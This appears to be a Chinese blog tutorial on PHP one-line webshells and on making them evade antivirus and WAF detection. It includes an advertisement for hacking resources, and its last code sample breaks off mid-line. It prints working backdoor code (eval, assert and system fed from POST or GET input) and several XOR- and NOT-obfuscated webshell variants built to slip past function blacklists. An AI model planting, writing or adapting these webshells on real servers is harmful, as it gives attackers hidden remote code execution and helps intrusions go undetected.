0X00普通的一句话木马
<pre id="PTXkG"><?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?></pre>
<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件”,而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面…
接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册发现如下区别:
- eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
- assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错
可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。
小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)
0X01 php的免杀(字符串免杀思路)
字符串异或加密
字符串base家族加密
字符串rot13加密
字符串拼接
php免杀之异或免杀
大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…)。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
所以我们常常会说:白名单>WAF>黑名单!
"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$__;
$_($___[_]);
<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$__


2629

被折叠的 条评论
为什么被折叠?



